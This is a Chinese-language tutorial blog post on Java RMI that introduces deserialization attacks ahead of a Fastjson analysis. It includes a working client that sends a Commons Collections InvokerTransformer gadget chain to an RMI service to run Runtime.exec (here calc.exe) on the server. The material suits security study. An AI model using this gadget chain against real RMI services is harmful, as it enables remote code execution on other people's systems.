Java安全之RMI反序列化
Java安全之RMI反序列化
0x00 前言
在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制。
在Java里面简单来说使用Java调用远程Java程序使用的就是RMI,调用C的程序调用的是JNI,调用python程序使用到的是Jython。RMI、JNI、Jython,其实在安全中都能发挥比较大的作用。 JNI在安全里面的运用就比较大了,既然可以调用C语言,那么后面的。。自行脑补。这个暂且忽略不讲,后面再说。如果使用或了解过python编写burp的插件的话,对这个Jython也不会陌生,如果说pthon的插件就需要安装一个Jython的jar包。这个后面再说。这里主要讲RMI,该机制会在反序列化中频繁运用,例如Weblogic的T3协议的反序列化漏洞。
概念
在了解RMI前还需要弄懂一些概念。
RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。
Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。
0x01 RMI作用
RMI概述
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
在
不同于socket,RMI中分为三大部分:Server、Client、Registry 。
Server: 提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
RMI基础运用
前面也说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口。
- 定义一个远程的接口
package com.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常。
- 编写一个远程接口的实现类
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被调用");
return "hello,world";
}
}
在编写该实现类中需要将该类继承UnicastRemoteObject。
- 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class servet {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。
编写客户端并且调用远程对象
package com.rmi.rmiclient; import com.rmi.RemoteHelloWorld;
import com.rmi.rmidemo; import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
rmidemo hello = (rmidemo) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello());
}
}
在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。网上有很多分析RMI传输流量的文章,可以去找找看这里就不做演示了。
0x02 RMI 反序列化攻击
需要使用到RM进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链。
这里对上面得代码做一个简单的改写。
远程接口代码:
package com.rmidemo;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
需要定义一个object类型的参数方法。
远程接口实现类代码:
package com.rmidemo;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
server 代码:
package com.rmidemo;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
client代码:
package com.rmidemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。至于序列化数据怎么构造,这个其实分析过CC链就一目了然了,这里不做赘述。

参考文章
https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8
0x03 结尾
在RMI的攻击手法中,其实不止文中提到的这么一个,但是这里就先告一段落先。现在的主要是为了分析Fastjson漏洞做一个前置准备,不多太深的研究。
Java安全之RMI反序列化的更多相关文章
- Java安全之RMI协议分析
Java安全之RMI协议分析 0x00 前言 在前面其实有讲到过RMI,但是只是简单描述了一下RMI反序列化漏洞的利用.但是RMI底层的实现以及原理等方面并没有去涉及到,以及RMI的各种攻击方式.在其 ...
- Java 中序列化与反序列化
一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...
- java 对象序列化与反序列化
Java序列化与反序列化是什么? 为什么需要序列化与反序列化? 如何实现Java序列化与反序列化? 本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为 ...
- Java对象序列化与反序列化一 JSON
Java对象序列化与反序列化一 JSON 1. 依赖库 jackson-all-1.6.1.jar 2. 代码 public class Student { private String nam ...
- java 的序列化与反序列化
前言: 一直很不理解java的序列化的概念,为什么java对象的序列化要实现 Serializable的接口?或者要实现Externalizable的接口?而且Externalizable 的父类还是 ...
- Java对象序列化和反序列化的工具方法
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import ja ...
- Java之序列化和反序列化
序列化的对象: package test_demo.SerializableOper; import java.io.Serializable; /* * 序列化对象需要实现序列号接口 * */ pu ...
随机推荐
- Python-反向迭代和实现反向迭代
案例: 实现一个连续的浮点数发生器,FloatRange,根据给定范围(start, end) 和步进值,产生一些列的浮点数,例如:FloatRange(3,4,0.2),将产生下列序列: 正向:3. ...
- 028 01 Android 零基础入门 01 Java基础语法 03 Java运算符 08 逻辑“或”运算符
028 01 Android 零基础入门 01 Java基础语法 03 Java运算符 08 逻辑"或"运算符 本文知识点:Java中的逻辑"或"运算符 逻辑& ...
- Spring Boot+Spring Security+JWT 实现 RESTful Api 认证(一)
标题 Spring Boot+Spring Security+JWT 实现 RESTful Api 认证(一) 技术 Spring Boot 2.Spring Security 5.JWT 运行环境 ...
- h2database在springboot中的使用
h2为轻量级数据库,使用特别方便,它可以不使用数据库服务器,直接嵌入到java程序中.可以配置持久化,同样也可以不持久化(数据在内存中)进程结束后,数据就释放,用做测试和演示特别方便.自带后台管理,非 ...
- BigInteger和BigDecimal
BigInteger BigInteger的作用是对整数做计算,一般的使用String类型初始化BigInteger,它除了封装了基本的加减乘除运算外还提供了signum(),abs()等函数,使用方 ...
- IDEA 简拼输入
1. sout = System.out.println(); 2. soutp = System.out.println(""); 3. soutv = System.out.p ...
- ansible2.4安装和体验
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- go mod模式,引入自己的包,goland飘红
- zookeeper的客户端常用操作
一,查看当前zookeeper的版本: [root@localhost conf]# echo stat|nc 127.0.0.1 2181 Zookeeper version: 3.5.6-c11b ...
- anaconda 取消每次默认启动base环境
安装conda后取消命令行前出现的base,取消每次启动自动激活conda的基础环境 方法一: 每次在命令行通过conda deactivate退出base环境回到系统自动的环境 方法二 1,通过将a ...